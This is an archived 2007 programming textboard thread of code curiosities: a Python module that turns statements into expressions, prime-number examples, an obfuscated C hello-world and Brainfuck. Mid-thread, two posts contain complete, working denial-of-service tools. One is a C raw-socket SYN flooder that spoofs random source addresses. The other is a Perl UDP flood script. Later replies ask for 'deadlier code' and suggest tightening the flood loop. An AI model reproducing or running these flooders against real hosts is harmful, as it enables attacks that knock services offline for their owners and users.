Return Styles: Pseud0ch, Terminal, Valhalla, NES, Geocities, Blue Moon.

Pages: 1-

Post your brainfucks

Name: Anonymous 2007-02-17 10:03

I've been turning Python's statements into expressions and such. Think of it like a mini-mini-Lisp built on top of Python. I'll post some code for shits and laughs. This post will have the "plambda" module, and the next three posts will be alternative implementations of a simple function using a simple algorithm to return primes in a list within a given range.

Of course, the function versions are 10 and 9.3 times slower than the native version, and their syntax is insane due to explicit lambdas, but it was fun to try.

This is plambda.py:


class Break (Exception):
    pass

class Continue (Exception):
    pass


def lazy(v):
    if callable(v):
        return v()
    else:
        return v
       
       
def Pass(*a):
    pass       


def Do(*fns):
    ret = None
    for fn in fns:
        ret = lazy(fn)
    return ret
   

def If(condfn, ltrue, lfalse=None):
    if condfn():
        return lazy(ltrue)
    else:
        return lazy(lfalse)


def Unless(condfn, ltrue, lfalse=None):
    if not condfn():
        return lazy(ltrue)
    else:
        return lazy(lfalse)
       
       
def While(condfn, *fns):
    ret = None
    while condfn():
        try:
            ret = Do(*fns)
        except Continue:
            pass
        except Break:
            break
    return ret
       
       
def Until(condfn, *fns):
    ret = None
    while not condfn():
        try:
            ret = Do(*fns)
        except Continue:
            pass
        except Break:
            break
    return ret
       
       
def DoWhile(*fns): #last fns is condfn
    condfn = fns[-1]
    fns = fns[:-1]
    while True:
        try:
            ret = Do(*fns)
        except Continue:
            pass
        except Break:
            break
        if not condfn():
            break
    return ret


def DoUntil(*fns): #last fns is condfn
    condfn = fns[-1]
    fns = fns[:-1]
    while True:
        try:
            ret = Do(*fns)
        except Continue:
            pass
        except Break:
            break
        if condfn():
            break
    return ret


def For(literable, *fns):
    ret = None
    for i in lazy(literable):
        try:
            for fn in fns:
                if callable(fn):
                    ret = fn(i)
                else:
                    ret = fn
        except Continue:
            pass
        except Break:
            break
    return ret


def Try(*fns): #Last arg = dict of Except(exception): fn(e)
    dexcept = fns[-1]
    fns = fns[:-1]
    try:
        return Do(*fns)
    except Exception, e:
        if e.__class__ in dexcept:
            return dexcept[e.__class__](e)
        else:
            raise
           
           
def Except(exception):
    return exception.__class__   
   

def TryThese(*fns):
    ret = None
    for fn in fns:
        try:
            ret = lazy(fn)
        except:
            continue
        break
    return ret   
   

def Raise(e):
    raise e

Name: Anonymous 2007-02-17 10:04

First implementation of Primes, using native statements (i.e. not using >>1 ):

from math import sqrt

def Primes(limit):
    class NotPrime(Exception): pass
    l = []
    for n in xrange(2, limit + 1):
        try:
            for d in xrange(2, int(sqrt(n)) + 1):
                if n % d == 0:
                    raise NotPrime
            l.append(n)                   
        except NotPrime:
            pass
    return l

print Primes(100)

Name: Anonymous 2007-02-17 10:04

Second implementation of Primes, direct port from >>2 using >>1 . Note how besides assignment statements, everything is an expression.

from plambda import *
from math import sqrt

def Primes(limit):
    class NotPrime(Exception): pass
    l = []
    For(xrange(2, limit + 1), (lambda n:
        Try((lambda:
            For(xrange(2, int(sqrt(n)) + 1), (lambda d:
                If(lambda: n % d == 0, lambda: Raise(NotPrime))
            ))
        ), lambda: l.append(n)
        , {
            Except(NotPrime()): Pass
        })       
    ))
    return l
   
print Primes(100)

Name: Anonymous 2007-02-17 10:06

Third implementation of Primers, smart port using >>1 and a list comprehension. Note how everything is an expression.

from plambda import *
from math import sqrt

IsPrime = (lambda n:
    TryThese((lambda:
        Do((lambda:
            For(xrange(2, int(sqrt(n)) + 1), (lambda d:
                If(lambda: n % d == 0, lambda: Raise(Exception))
            ))
        ),
            True
        )
    ),
        False
    )   
)
Primes = lambda limit: [n for n in xrange(2, limit + 1) if IsPrime(n)]
   
print Primes(100)


What do you think? Have I fucked with my brain enough?

Name: Anonymous 2007-02-17 10:18

>>1
We

>>2
Don't

>>3
Fucking

>>4
Care

Name: Anonymous 2007-02-17 10:38

USE THE FORCE...D INDENTATION OF CODE, LUKE

Name: Anonymous 2007-02-17 10:40

>>1-4
Don't be too proud of this technological terror you've constructed; the ability to destroy a planet is insignificant next to the power of the Forced Indentation of Code.

Name: Anonymous 2007-02-17 11:10

>>1
THIS is the kind of shit that fored indentation causes you to do.

listen up 1, thats not smart or impressive or even interesting its just fucking stupid.

also, forced indentation of code: thread over.

Name: Anonymous 2007-02-17 11:42

Dammit, my attempt to bring some /prog discussion to /prog has utterly failed.

>>8
THIS is the kind of shit that fored indentation causes you to do.
Uh, if you think I wrote that just to get around forced indentation with parens, you're stupid and should GTFO my /prog.

Name: Anonymous 2007-02-17 11:48

>>9
TROLLED BY FORCED INDENTATION LOL!

Name: Anonymous 2007-02-17 12:00

very nice code, i almost puked.

Name: Anonymous 2007-02-17 16:15


#include <stdio.h>
#include <stdlib.h>

int getasweetassinteger(char a);

int main(void)
{
    int hi[2] = {0};
    int *pnemethistheman = {NULL};
    int i = 9;
    char *a = (char*)&hi[0];
    int l = 4;
    char bleh = 114;
    struct prettyamazingstruct{
        char w;
        char y;
        char x[2];
      } *star;
     
      struct {
        unsigned jonothan:    1;
        unsigned annie:        1;
        unsigned alexander:    1;
        unsigned jimmy:        1;
        unsigned nicholas:    1;
        unsigned mary:        1;
        unsigned gabriella:    1;
        unsigned thompson:    1;
    } dsfkhe;

    for(l=5;l<74;l=l+2)
    {
        if(l==5)
        {
            for(i=7;i<31;i++)
            {   
                *a = *a + 3;
            }
        }
        if(l<11)
        {
            a++;
            bleh = bleh ^ 15;
            *a = getasweetassinteger(bleh);
            a = a + 2;
            l = 13;
        }
        if(l==31)
        {
            srand(time(NULL));
            while(l != 108)
            {
                l = rand();
            }
            *a = (char)l;
            l = 42;
        }
        if(l==48)
        {
            a--;
            bleh = 9;
            while(bleh != 0x6C){
                bleh++;
            }
            *a = (char)bleh;
        }
    }
    hi[1]=1867980911;
    l = 0;
   
    star = (struct prettyamazingstruct*)&hi[0];


    putchar((*star).w);   
    putchar(star->y);
   
    do {
        switch(l)
        {
            case 0:
                a = &(*star).x[0];
                putchar((char)*a);
                l = l + 2;
                break;
            case 2:
                putchar(star->x[1]);
                l++;
                break;
            default:
                l = 4;
                break;
        }
    } while(l != 4);

    a = (char*)&hi[1];
    for(i=0;i<4;i++)
    {
        putchar((char)*a);
        a++;
    }

    pnemethistheman = malloc(3);
    *pnemethistheman = 6581362;
    printf("%s",pnemethistheman);
    free(pnemethistheman);
   
    dsfkhe.jonothan = 1;
    dsfkhe.annie = 0;
    dsfkhe.alexander = 0;
    dsfkhe.jimmy = 0;
    dsfkhe.nicholas = 0;
    dsfkhe.mary = 1;
    dsfkhe.gabriella = 0;
    dsfkhe.thompson = 0;
   
    printf("%c",dsfkhe);
    putchar(0xA);
   
   
    printf("Press a key to continue!\n");
    getchar();
    return 0;   
}

int getasweetassinteger(char a)
{
    unsigned char f = 0xE7;
    char l = a & f;
    return (int)l;   
}

Name: Anonymous 2007-02-18 16:56

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <strings.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <limits.h>

#define BLEH(n) htons(n)
#define PACKETSIZE  (sizeof(struct ip) + sizeof(struct tcphdr))  

struct ip *ip;
struct tcphdr *tcp;
struct sockaddr_in s_in;
u_char packet[PACKETSIZE];
int get;
u_long source,target;

void usage(char *name)
 {
   printf("\nUsage: %s <source addr> <destination> <lowport> <highport>\n",name);
   printf("if source=0, source address will be random\n\n");
   exit(1);
  }


u_long getaddr(char *hostname)    /* Generic function, not my own */
  {
    struct hostent *hp;
 
    if ((hp = gethostbyname(hostname)) == NULL)
      {
       fprintf(stderr, "Could not resolve %s.\n", hostname);
       exit(1);
      }
   
    return *(u_long *)hp->h_addr;
  }


u_short in_cksum(u_short *addr, int len)    /* function is from ping.c */
  {
    register int nleft = len;
    register u_short *w = addr;
    register int sum = 0;
    u_short answer =0;
  
   while (nleft > 1)
      {
       sum += *w++;
       nleft -= 2;
      }
  
   if (nleft == 1)
     {     
       *(u_char *)(&answer) = *(u_char *)w;
       sum += answer;
     }
   sum = (sum >> 16) + (sum & 0xffff);
   sum += (sum >> 16);
   answer = ~sum;
   return(answer);
}

void makepacket(void)                   /* Thanks Richard Stevens, R.I.P. */
{
  memset(packet, 0 , PACKETSIZE);
 
  ip = (struct ip *)packet;
  tcp = (struct tcphdr *) (packet+sizeof(struct ip));
  ip->ip_hl        = 5;
  ip->ip_v         = 4;
  ip->ip_tos       = 0;
  ip->ip_len       = BLEH(PACKETSIZE);
  ip->ip_off       = 0;
  ip->ip_ttl       = 40;
  ip->ip_p         = IPPROTO_TCP;
  ip->ip_dst.s_addr= target;
  tcp->th_flags    = TH_SYN;
  tcp->th_win      = htons(65535);
 
  s_in.sin_family  = AF_INET;
  s_in.sin_addr.s_addr = target;
 }


void kill(u_int dstport)       
{
  if (source==0)
    ip->ip_src.s_addr = random();
  else
    ip->ip_src.s_addr = source;
 
  ip->ip_id         = random();
  tcp->th_sport     = random();
  tcp->th_dport     = htons(dstport);
  tcp->th_seq       = random();
  tcp->th_ack       = random();
  tcp->th_sum       = in_cksum((u_short *)tcp, sizeof(struct tcphdr));
  ip->ip_sum        = in_cksum((u_short *)packet, PACKETSIZE);
  s_in.sin_port     = htons(dstport);
 
  sendto(get,packet,PACKETSIZE,0,(struct sockaddr *)&s_in,sizeof(s_in));
  //usleep(1000000);  /* Debug */
}
 

int main(int argc, char *argv[])
{
 int low,high,port;
 system("clear");
 if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
   {
     perror("socket");
     exit(1);
   }
 
if ((argc < 5) || (argc > 6))
   usage(argv[0]);
 system("clear");
 printf("\nflooding target.  control-c to terminate\n",target);

 fflush(stdout);
 if (atoi(argv[1])==0)
   source=0;
 else
   source=getaddr(argv[1]);

 target = getaddr(argv[2]);
 low = atoi(argv[3]);
 high = atoi(argv[4]);
 
 if (low > high) {
   printf("low>high \n");
   exit(1);
   }

 if (low==high) 
  {
   makepacket();
   for (;;) {
       srandom(time(NULL));
       port==low;
       kill(port);
     }
 return 0;
   }

 makepacket();       
 for (;;) {    
   srandom(time(NULL));
   for(port = low;  port <=high; port++)
     kill(port);
  }
 return 0;
}

Name: Anonymous 2007-02-19 5:27

Can you post longer and deadlier code plz? kthxbye!

Name: Anonymous 2007-02-19 9:53

++++++++++[>+++++++>++++++++++>+++>+<<<<-]>++.>+.+++++++..+++.>++.<<+++++++++++++++.>.+++.------.--------.>+.>.

Name: Anonymous 2007-02-19 10:09

++++++++++[>+++++++>++++++++++>+++>+<<<<-]>++.>+.+++++++..+++.>++.<<+++++++++++++++.>.+++.------.--------.>+.>.

Name: Anonymous 2007-02-19 10:09

++++++++++[>+++++++>++++++++++>+++>+<<<<-]>++.>+.+++++++..+++
.>++.<<+++++++++++++++.>.+++.------.--------.>+.>.

Name: Anonymous 2007-02-19 11:02

#!/usr/bin/perl
#####################################################
# udp flood.
#
# gr33ts: meth, etech, skrilla, datawar, fr3aky, etc.
#
# --/odix
######################################################

use Socket;

$ARGC=@ARGV;

if ($ARGC !=3) {
 printf "$0 <ip> <port> <time>\n";
 printf "if arg1/2 =0, randports/continous packets.\n";
 exit(1);
}

my ($ip,$port,$size,$time);
 $ip=$ARGV[0];
 $port=$ARGV[1];
 $time=$ARGV[2];

socket(crazy, PF_INET, SOCK_DGRAM, 17);
    $iaddr = inet_aton("$ip");

printf "udp flood - odix\n";

if ($ARGV[1] ==0 && $ARGV[2] ==0) {
 goto randpackets;
}
if ($ARGV[1] !=0 && $ARGV[2] !=0) {
 system("(sleep $time;killall -9 udp) &");
 goto packets;
}
if ($ARGV[1] !=0 && $ARGV[2] ==0) {
 goto packets;
}
if ($ARGV[1] ==0 && $ARGV[2] !=0) {
 system("(sleep $time;killall -9 udp) &");
 goto randpackets;
}

packets:
for (;;) {
 $size=$rand x $rand x $rand;
 send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}

randpackets:
for (;;) {
 $size=$rand x $rand x $rand;
 $port=int(rand 65000) +1;
 send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}

Name: Anonymous 2007-02-19 11:09

very shitty perl code.
tip:
while(send(crazy, 0, $rand x $rand x $rand, sockaddr_in($port, $iaddr)));

Name: Anonymous 2007-02-19 11:10

>>18
sir i'll kindly ask you to stop torturing perl and my eyes.

Name: Anonymous 2007-02-19 11:24

SendMessage(GetDlgItem(hDlg,IDC_OPT_HIST_SIZE_UD), UDM_SETRANGE, (WPARAM) 0, MAKELONG (nMaxHistUD, 0));

Name: Anonymous 2007-02-19 11:40

oh, that's production code by the way ;)

Name: Anonymous 2007-02-24 22:32 ID:8pz2Ghgo

One word, the forced indentation of code. Thread over.

Name: Anonymous 2010-06-25 14:51

WARNING: NECRO POST

Name: Anonymous 2010-06-25 14:52

>>1
Sighting of ancient code tags.

Name: Sgt.Kabu�怺kiman蓺霺 2012-05-28 22:37

Bringing /prog/ back to its people
All work and no play makes Jack a dull boy
All work and no play makes Jack a dull boy
All work and no play makes Jack a dull boy
All work and no play makes Jack a dull boy

Don't change these.
Name: Email:
Entire Thread Thread List